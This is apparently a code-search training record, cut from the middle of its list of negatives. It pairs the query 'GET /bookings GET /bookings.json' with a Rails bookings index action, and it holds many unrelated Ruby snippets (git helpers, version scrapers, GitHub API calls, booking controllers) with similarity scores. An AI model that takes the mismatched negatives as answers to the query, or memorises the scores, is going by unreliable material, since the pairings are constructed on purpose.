project_name = url.match(%r{/projects?/(.*?)/})[1]\n page_url = \"https://sourceforge.net/api/file/index/project-name/\" \\\n \"#{project_name}/rss\"\n\n if ARGV.debug?\n puts \"Possible SourceForge project [#{project_name}] detected\" \\\n \"at #{url}\"\n end\n\n if regex.nil?\n regex = %r{/#{project_name}/([a-zA-Z0-9.]+(?:\\.[a-zA-Z0-9.]+)*)}i\n end\n\n page_matches(page_url, regex).each do |match|\n version = Version.new(match)\n # puts \"#{match} => #{version.inspect}\" if ARGV.debug?\n match_version_map[match] = version\n end\n when url =~ /gnu\\.org/\n project_name_regexps = [\n %r{/(?:software|gnu)/(.*?)/},\n %r{//(.*?)\\.gnu\\.org(?:/)?$},\n ]\n match_list = project_name_regexps.map do |r|\n url.match(r)\n end.compact\n\n if match_list.length > 1\n puts \"Multiple project names found: #{match_list}\"\n end\n\n unless match_list.empty?\n project_name = match_list[0][1]\n page_url = \"http://ftp.gnu.org/gnu/#{project_name}/?C=M&O=D\"\n\n if ARGV.debug?\n puts \"Possible GNU project [#{project_name}] detected at #{url}\"\n end\n\n if regex.nil?\n regex = /#{project_name}-(\\d+(?:\\.\\d+)*)/\n end\n\n page_matches(page_url, regex).each do |match|\n version = Version.new(match)\n match_version_map[match] = version\n end\n end\n when regex\n # Fallback\n page_matches(url, regex).each do |match|\n version = Version.new(match)\n match_version_map[match] = version\n end\n end\n\n if ARGV.debug?\n match_version_map.each do |match, version|\n puts \"#{match} => #{version.inspect}\"\n end\n end\n\n empty_version = Version.new(\"\")\n match_version_map.delete_if { |_match, version| version == empty_version }\n\n # TODO: return nil, defer the print to the caller\n return match_version_map.values.max unless match_version_map.empty?\n end\n\n fail TypeError, \"Unable to get versions for #{Tty.blue}#{name}#{Tty.reset}\"\nend", "def test_viewing_text_document\n create_document(\"history.txt\", content = \"2018 - Ruby 2.6 released.\")\n\n get \"/history.txt\"\n \n assert_equal(200, last_response.status)\n assert_equal(\"text/plain\", last_response[\"Content-Type\"])\n assert_includes(last_response.body, \"2018 - Ruby 2.6 released.\")\n end", "def get_committed_files\n # set the current branch name to be the current branch you're on --> need to check that this works as part of push\n curr_branch_name = `git rev-parse --abbrev-ref HEAD`\n\n # raw_sha_list lists all the local, unpushed commit SHAs from your current branch\n raw_sha_list = `git log --graph --pretty=format:'%H' #{curr_branch_name}`\n\n committed_files = []\n # loop through the raw_sha_list and push properly formatted SHAs into the all_shas arr\n raw_sha_list.each_line { |sha|\n # using the .tr method on the sha makes a copy of the sha and replaces instances that matches with the to_str (second arg),\n # unless the range starts with a ^ carrot, in which case, it replaces on matches outside the range\n curr_sha = sha.tr('^A-Za-z0-9', '')\n\n # this `git diff-tree --no-commit-id --name-only -r <SHA>` will list the files of an individual commit when you add the SHA\n # on each iteration, set the changed_files variable to be the list of files from a particular commit, based its SHA\n changed_files = `git diff-tree --no-commit-id --name-only -r #{curr_sha}`\n\n # loop over the changed_files and add in each file that's part of a commit and add into the committed_files arr\n changed_files.each_line { |file|\n # remove any trailing whitespace from the file name and add into our arr\n committed_files << file.rstrip()\n }\n }\n # return the final, no-repeat array of committed files in this push\n return committed_files.uniq\nend", "def print_file_diffs(file_safety, repo, fname, user_name)\n entry = file_safety[fname]\n repolatest = entry['last_changed_rev']\n safe_revision = entry['safe_revision']\n\n if safe_revision.nil?\n first_revision = set_safe_revision\n print_repo_file_diffs(repolatest, repo, fname, user_name, first_revision)\n else\n\n rev = get_last_changed_revision(repo, fname)\n if rev\n mime = get_mime_type(repo, fname)\n end\n\n print_repo_file_diffs(repolatest, repo, fname, user_name, safe_revision) if repolatest != safe_revision\n end\nend", "def most_recent_github_commits\n path = @path_prefix + \"/commits\"\n json_response = make_request(path, true, nil)\n if json_response.is_a?(Hash) && json_response.key?(:error)\n puts \"Failed request, returning empty array for git commits\"\n return []\n end\n json_response.collect { |commit| commit['sha'] }\n end", "def get_file(login, token)\n begin\n uri = URI('https://api.github.com/repos/'+ login + '/evil1.github.io/contents/powr/index.html')\n req = Net::HTTP::Get.new(uri)\n req['Authorization'] = 'token ' + token\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n res = http.request(req)\n\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n responseObject = ActiveSupport::JSON.decode res.body\n fileContent = Base64.decode64(responseObject['content'])\n\n response = { 'success' => true, 'content' => fileContent, 'sha' => responseObject['sha'] }\n\n else\n response = { 'success' => false, 'message' => 'Error receiving file: ' + res.value }\n end\n rescue Exception => ex\n response = { 'success' => false, 'message' => 'Error receiving file: ' + ex.message }\n end\n\n return response\n end", "def main(json)\n files = JSON.parse(json).fetch('files')\n dupes = get_name_conflicts(files)\n dupes.each do |list|\n # resolve_conflict(list)\n list.each {|file| puts file['path']}\n puts\n end\nend", "def files_at_commit(pr, filter = lambda { |x| true })\n sha = pr[:base_commit]\n begin\n files = lslr(git.lookup(sha).tree)\n rescue StandardError => e\n log pr[:id]\n log \"Cannot find commit #{sha} in base repo\" # some are in the other branches\n return nil # not to the default branch\n end\n\n # # find the eariler than and closest to the creation time of commit\n # sha = commit_closest_earlier_pr(pr)\n # begin\n # files = sha.nil? ? [] : lslr(git.lookup(sha).tree)\n # rescue StandardError => e\n # log \"Cannot find commit #{sha} in base repo\" # some are in the other branches\n # files = [] # no files found before the pr\n # end\n\n\n if files.size <= 0\n log \"No files for commit #{sha}\"\n end\n files.select { |x| filter.call(x) }\n\n end", "def set_last_changed_revision(repo, file_safety, fnames)\n dot_freq = (file_safety.size / 40.0).ceil # Print up to 40 progress dots\n case repository_type\n when 'git'\n fnames = file_safety.keys if fnames.nil?\n\n fnames.each_with_index do |f, i|\n info = %x[git log -n 1 -- #{f}].split(\"\\n\").first[7..-1]\n if info.nil? || info.empty?\n file_safety[f]['last_changed_rev'] = -1\n else\n file_safety[f]['last_changed_rev'] = info\n end\n # Show progress\n print '.' if (i % dot_freq) == 0\n end\n puts\n when 'git-svn', 'svn'\n fnames = file_safety.keys if fnames.nil?\n\n fnames.each_with_index do |f, i|\n last_revision = get_last_changed_revision(repo, f)\n if last_revision.nil? || last_revision.empty?\n file_safety[f]['last_changed_rev'] = -1\n else\n file_safety[f]['last_changed_rev'] = last_revision\n end\n # Show progress\n print '.' if (i % dot_freq) == 0\n end\n puts\n # NOTE: Do we need the following for retries?\n# if retries && result.size != fnames.size && fnames.size > 1\n# # At least one invalid (deleted file --> subsequent arguments ignored)\n# # Try each file individually\n# # (It would probably be safe to continue from the extra_info.size argument)\n# puts \"Retrying (got #{result.size}, expected #{fnames.size})\" if debug >= 2\n# result = []\n# fnames.each{ |f|\n# result += svn_info_entries([f], repo, false, debug)\n# }\n# end\n end\nend", "def check_message_format(regex, oldrev, newrev)\n missed_revs = `git rev-list #{oldrev}..#{newrev}`.split(\"\\n\")\n bad_commits = \"\"\n auth_fail = 0\n missed_revs.each do |rev|\n message = `git cat-file commit #{rev} | sed '1,/^$/d'`\n if !regex.match(message) then\n bad_commits += \"#{rev}\\n\"\n else\n # Increment fail counter on failure\n auth_fail += verify_authcode(msg)\n end\n \n end\n\n if auth_fail > 0 or bad_commits.split(\"\\n\").nitems.to_i > 0 then\n puts \"[POLICY] Please ensure that your commit messages contain ticket or a current authorization numbers\"\n puts \"The list of commits you sent were: \"\n puts bad_commits\n exit 1\n end\nend", "def diff url\n parse_response HTTParty.get \"#{url}.diff\"\n end" ]
[ "0.605789", "0.60482985", "0.60394806", "0.5979286", "0.5976605", "0.589328", "0.5879649", "0.5863468", "0.5856474", "0.56922305", "0.5683459", "0.56424093", "0.56207526", "0.5609563", "0.5565239", "0.55471784", "0.5511789", "0.5498405", "0.54980254", "0.5480723", "0.54794526", "0.5470506", "0.5467513", "0.5428636", "0.541962", "0.5417452", "0.5410959", "0.54030037", "0.54015136", "0.5398155", "0.53858346", "0.5383705", "0.5381738", "0.537738", "0.5372413", "0.5362868", "0.53547835", "0.5343468", "0.53429013", "0.53387105", "0.5337291", "0.5335155", "0.5325906", "0.53229743", "0.53152955", "0.53132296", "0.53131074", "0.53101486", "0.52957237", "0.5291073", "0.5285979", "0.5282988", "0.5277312", "0.52722716", "0.5265477", "0.52590084", "0.52574337", "0.52512133", "0.5244845", "0.5244691", "0.5241951", "0.5238636", "0.52320874", "0.521045", "0.52076596", "0.5202631", "0.5196242", "0.51918817", "0.518617", "0.51767147", "0.517497", "0.5157477", "0.51421237", "0.5141395", "0.51400554", "0.5125352", "0.51248837", "0.5113132", "0.51084167", "0.51075935", "0.51065403", "0.5106375", "0.51049614", "0.5095652", "0.5094715", "0.50863636", "0.5085967", "0.50853413", "0.5083678", "0.5081956", "0.50810987", "0.50806934", "0.5069422", "0.50673604", "0.5067298", "0.5066125", "0.5064014", "0.5062038", "0.50606316", "0.506025", "0.50593555" ]
0.0
-1
GET /bookings GET /bookings.json
def index @bookings = smart_listing_create(:bookings, Booking.includes(:seat, :user).where(user_id: current_user.id), partial: "bookings/listing") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n respond_with(@bookings)\n end", "def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end", "def show\n @booking = Booking.find(params[:id])\n render json: @booking\nend", "def show\n\t\t@booking = Booking.find(params[:id])\n\t\trender json: @booking, status: 200\n\tend", "def index\n @bookings = Booking.all.map { |b| [b, b.contact, b.persons.first] }\n respond_to do |format|\n format.html\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = @user.bookings\n end", "def index\n @service_bookings = ServiceBooking.all\n\n render json: @service_bookings\n end", "def index\n @bookings = Booking.order(updated_at: :desc).page(params[:page]).per(NUM_PER_PAGE)\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def all_booking_of_client\n\t\t@bookings = Booking.where(client_id: params[:client_id])\n\t\trender json: @bookings, status: 200\n\tend", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def index\n @listings = Listing.all\n render json: @listings\n end", "def index\n @bookings = current_user.bookings\n end", "def index\n @listings = Listing.by_user(current_user).all\n\n render json: @listings\n end", "def show\n render json: { booking: @booking }, status: 200\n end", "def show\n @booking = Booking.find(params[:id])\n @rooms = @booking.rooms\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def show\n render json: @booking\n end", "def show\n render json: @booking\n end", "def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end", "def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end", "def index\n @bookings = Booking.where(user_id: current_user.id)\n end", "def index\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n @bookings = prep_bookings\n render json: @bookings, status: :ok\n end", "def index\n @bookings = @hairdresser.bookings\n end", "def index\n bookings = Room.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all rooms', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end", "def index\n @bookings = Booking.user(@user.id)\n end", "def index\n @bookings = Booking.where(\"user_id = #{current_user.id}\")\n end", "def index\n # @bookings = Booking.all\n begin\n @response = Booking.get_bookings\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n # binding.pry\n end", "def all_bookings\n Booking.none\n end", "def index\n if current_user\n @bookings = current_user.bookings.all\n end\n\n if current_host\n @job = Job.find_by(id: params[:job_id])\n @bookings = @job.bookings\n end\n end", "def index\n @bookings = Booking.includes(:services)\n end", "def show\n\n @user_id = current_user\n case params[:id]\n when \"approaching\"\n @bookings = Booking.paginate :conditions=>[ \"user_id = #{@user_id} and enddate >= now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"history\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id} and enddate < now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"all\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n else\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n end\n\n if @bookings.nil?\n @bookings = Array.new\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @postings = Posting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postings }\n end\n end", "def show\n @booking = Booking.find_by(id: params[:id])\n if @booking\n render json: {success: true, status: 200, object: @booking}\n else\n render json: {success: false, status: 404, message: \"Not Found\"}\n end\n end", "def index \n session[:link_to_bookings] = params[:classroom][:links].last[:uri] if (params[:classroom]) \n @link = session[:link_to_bookings]\n @params= \"date=#{params[:date]}&limit=#{params[:limit]}&status=#{params[:status]}\"\n @bookings = ClientApi.bookings_list @link, @params\n end", "def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend", "def book\n @book = Book.published.find(params[:id])\n render json: @book\n end", "def index\n @user = User.find_by_id(params[:format])\n @bookings = Booking.where(user_id: params[:format])\n end", "def show\n\n render json: @bookkeeping\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schedule, methods: :bookings }\n end\n end", "def index\n @booking_infos = BookingInfo.all\n end", "def index\n @books = Book.all\n render json: @books\n end", "def find_user_id\n @listings = Listing.where(\"user_id = ?\",params[:user_id]).all\n if !@listings.empty?\n ret = []\n @listings.each do |listing|\n ret << listing.as_json(include: :book)\n end\n render :json => ret\n else\n render :json => \"user has no listings\".to_json\n end\n end", "def on_date\n @bookings = []\n @bookings = Booking.on_date(params[:booking_date]) if params[:booking_date]\n \n respond_to do |format|\n format.html {render \"index\"}\n format.json {render json: @bookings}\n end\n \n end", "def show\n @booking = @room.bookings.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @booking }\n end\n end", "def index\n @bookings = Booking.all(:include => [:user, :suite])\n @current_bookings = Booking.current_bookings\n @archived_bookings = Booking.archived_bookings\n @cancelled_bookings = Booking.cancelled_bookings\n\n respond_to do |format|\n format.html { render :layout => \"admin_layout\"}\n format.xml { render :xml => @bookings }\n end\n end", "def index\n @room_bookings = RoomBooking.all\n end", "def index\n @fg_bookings = FgBooking.all\n end", "def index\n @ninety_ten_bookings = NinetyTenBooking.all\n end", "def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend", "def index\n @online_bookings = OnlineBooking.all\n end", "def show\n @booking = Booking.find(params[:id])\n respond_with(@booking)\n end", "def index\n @sayings = Saying.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sayings }\n end\n end", "def index\n @bookings = Booking.all\n if params[:search]\n @search_term = params[:search]\n @bookings = @bookings.search_by(@search_term)\n end\n end", "def show\n @bidding = Bidding.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bidding }\n end\n end", "def bookings(fields: nil, options: nil)\n opts_keys = %i[boundaryId boundaryStartsAt direction displayTimeZone jumpToDate profileIds search]\n params = build_option_params options, opts_keys, fields: fields\n res = @connection.get booking_path, params\n map_as_collection res, Booking\n end", "def index\n @pricings = Pricing.all\n\n render json: @pricings\n end", "def index\n query = 'SELECT * FROM Booking'\n @bookings = Booking.find_by_sql(query)\n end", "def timeline\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.xml\n end\n end", "def bookings()\n sql = \"SELECT bookings.*\n FROM bookings\n WHERE bookings.schedule_id = $1\"\n values = [@id]\n result = SqlRunner.run(sql,values)\n bookings = Booking.map_items(result)\n return bookings\n end", "def show\n @bookings = @customer.bookings\n end", "def index\n @bookings = current_user.bookings\n binding.pry\n #@bookingsegregator = Booking.segregator\n end", "def index\n @books = Book.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def all_bookings\n Booking.includes(:user, :court).ordered.load\n end", "def index\n @bookings = Booking.where(:customer_id => session['customer_id'])\n end", "def show\n render json: @book\n end", "def index\n @booking_details = BookingDetail.all\n end", "def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def find_id\n if Listing.exists?(params[:id])\n @listing = Listing.find(params[:id])\n render :json => @listing.as_json(include: :book)\n else\n render :json => \"listing not found\".to_json\n end\n end", "def index\n @bookings = Booking.order(id: :desc)\n end", "def index\n @biddings = Bidding.all\n end", "def show\n render json: @service_booking\n end", "def show\n @booking = Booking.find(params[:id])\n end", "def show\n @bookings = Booking.all\n @rooms = Room.all\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n\n format.json { render json: @book }\n end\n end", "def index\n @booking_statuses = BookingStatus.all\n end", "def bookings()\n sql = \"SELECT * FROM bookings WHERE bookings.gymclass_id = $1;\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n return results.map {|booking| Booking.new(booking)}\n end" ]
[ "0.8231102", "0.80365145", "0.80220497", "0.80220497", "0.80220497", "0.7619097", "0.7607287", "0.7501954", "0.7473071", "0.7473071", "0.7473071", "0.7473071", "0.7473071", "0.7473071", "0.7473071", "0.7473071", "0.7473071", "0.7473071", "0.7473071", "0.7473071", "0.7473071", "0.7437335", "0.74355394", "0.736671", "0.73389894", "0.73331183", "0.73266363", "0.73217666", "0.72310644", "0.7227939", "0.71933675", "0.71933675", "0.71933675", "0.71933675", "0.7145121", "0.71196496", "0.70844454", "0.7068138", "0.70634925", "0.6997092", "0.6988636", "0.6988636", "0.69486886", "0.6948613", "0.6942897", "0.69407207", "0.69219196", "0.68844646", "0.6873678", "0.68719894", "0.68486196", "0.6814593", "0.6804705", "0.6786011", "0.6759293", "0.6757766", "0.67523646", "0.67449206", "0.6740214", "0.6727567", "0.67193884", "0.6708978", "0.66504943", "0.66458344", "0.664233", "0.6594441", "0.65912014", "0.6579298", "0.65675294", "0.6562665", "0.65623444", "0.6541979", "0.6531522", "0.65299183", "0.64960617", "0.6492825", "0.64922136", "0.6476216", "0.64701396", "0.64521086", "0.6446309", "0.6438177", "0.643674", "0.6424101", "0.6422121", "0.64186513", "0.6413106", "0.6401445", "0.6396427", "0.63874567", "0.63870436", "0.6386612", "0.63841397", "0.6383486", "0.6375648", "0.63753766", "0.63749844", "0.6365202", "0.6352541", "0.63498" ]
0.64366347
83
GET /bookings/1 GET /bookings/1.jsons
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n respond_with(@bookings)\n end", "def index\n @bookings = Booking.all.map { |b| [b, b.contact, b.persons.first] }\n respond_to do |format|\n format.html\n format.json { render json: @bookings }\n end\n end", "def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end", "def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end", "def index\n @bookings = Booking.order(updated_at: :desc).page(params[:page]).per(NUM_PER_PAGE)\n end", "def index\n @bookings = Booking.all\n end", "def all_booking_of_client\n\t\t@bookings = Booking.where(client_id: params[:client_id])\n\t\trender json: @bookings, status: 200\n\tend", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def show\n @booking = Booking.find(params[:id])\n render json: @booking\nend", "def show\n\t\t@booking = Booking.find(params[:id])\n\t\trender json: @booking, status: 200\n\tend", "def index\n @service_bookings = ServiceBooking.all\n\n render json: @service_bookings\n end", "def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def index\n @bookings = @user.bookings\n end", "def index\n # @bookings = Booking.all\n begin\n @response = Booking.get_bookings\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n # binding.pry\n end", "def index\n @user = User.find_by_id(params[:format])\n @bookings = Booking.where(user_id: params[:format])\n end", "def show\n @booking = Booking.find(params[:id])\n @rooms = @booking.rooms\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def index \n session[:link_to_bookings] = params[:classroom][:links].last[:uri] if (params[:classroom]) \n @link = session[:link_to_bookings]\n @params= \"date=#{params[:date]}&limit=#{params[:limit]}&status=#{params[:status]}\"\n @bookings = ClientApi.bookings_list @link, @params\n end", "def show\n render json: { booking: @booking }, status: 200\n end", "def index\n @bookings = Booking.includes(:services)\n end", "def index\n @listings = Listing.all\n render json: @listings\n end", "def index\n @bookings = @hairdresser.bookings\n end", "def index\n @books = Book.all\n render json: @books\n end", "def book\n @book = Book.published.find(params[:id])\n render json: @book\n end", "def index\n @bookings = Booking.user(@user.id)\n end", "def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end", "def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end", "def index\n bookings = Room.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all rooms', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end", "def show\n @booking = Booking.find_by(id: params[:id])\n if @booking\n render json: {success: true, status: 200, object: @booking}\n else\n render json: {success: false, status: 404, message: \"Not Found\"}\n end\n end", "def index\n @bookings = Booking.where(user_id: current_user.id)\n end", "def index\n @bookings = current_user.bookings\n end", "def index\n @listings = Listing.by_user(current_user).all\n\n render json: @listings\n end", "def show\n render json: @booking\n end", "def show\n render json: @booking\n end", "def index\n @bookings = Booking.where(\"user_id = #{current_user.id}\")\n end", "def index\n @books = Book.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def index\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n @bookings = prep_bookings\n render json: @bookings, status: :ok\n end", "def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def show\n\n @user_id = current_user\n case params[:id]\n when \"approaching\"\n @bookings = Booking.paginate :conditions=>[ \"user_id = #{@user_id} and enddate >= now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"history\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id} and enddate < now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"all\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n else\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n end\n\n if @bookings.nil?\n @bookings = Array.new\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @booking_infos = BookingInfo.all\n end", "def index\n if params[:book_id]\n @book = Book.find(params[:book_id])\n recipes = @book.recipes\n render json: RecipeSerializer.new(recipes).to_serialized_json\n else \n recipes = Recipe.all.order(:name)\n render json: RecipeSerializer.new(recipes).to_serialized_json\n end\n end", "def all_bookings\n Booking.none\n end", "def index\n if current_user\n @bookings = current_user.bookings.all\n end\n\n if current_host\n @job = Job.find_by(id: params[:job_id])\n @bookings = @job.bookings\n end\n end", "def index\n query = 'SELECT * FROM Booking'\n @bookings = Booking.find_by_sql(query)\n end", "def show\n begin\n @response = Booking.get_booking(params[:id])\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n end", "def index\n @postings = Posting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postings }\n end\n end", "def index\n @book_pages = @book.book_pages\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @book_pages }\n end\n end", "def on_date\n @bookings = []\n @bookings = Booking.on_date(params[:booking_date]) if params[:booking_date]\n \n respond_to do |format|\n format.html {render \"index\"}\n format.json {render json: @bookings}\n end\n \n end", "def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n\n format.json { render json: @book }\n end\n end", "def index\n @fg_bookings = FgBooking.all\n end", "def index\r\n @books = Book.paginate(:page => params[:page], :per_page => 30)\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @books }\r\n end\r\n end", "def index\n @books = Book.find_all_by_user_id(current_user)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n end", "def find_id\n if Listing.exists?(params[:id])\n @listing = Listing.find(params[:id])\n render :json => @listing.as_json(include: :book)\n else\n render :json => \"listing not found\".to_json\n end\n end", "def bookings()\n sql = \"SELECT bookings.*\n FROM bookings\n WHERE bookings.schedule_id = $1\"\n values = [@id]\n result = SqlRunner.run(sql,values)\n bookings = Booking.map_items(result)\n return bookings\n end", "def show\n @booking = @room.bookings.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @booking }\n end\n end", "def index\n @bookings = Booking.order(id: :desc)\n end", "def find_user_id\n @listings = Listing.where(\"user_id = ?\",params[:user_id]).all\n if !@listings.empty?\n ret = []\n @listings.each do |listing|\n ret << listing.as_json(include: :book)\n end\n render :json => ret\n else\n render :json => \"user has no listings\".to_json\n end\n end", "def index\n @bookings = Booking.all(:include => [:user, :suite])\n @current_bookings = Booking.current_bookings\n @archived_bookings = Booking.archived_bookings\n @cancelled_bookings = Booking.cancelled_bookings\n\n respond_to do |format|\n format.html { render :layout => \"admin_layout\"}\n format.xml { render :xml => @bookings }\n end\n end", "def index\n @room_bookings = 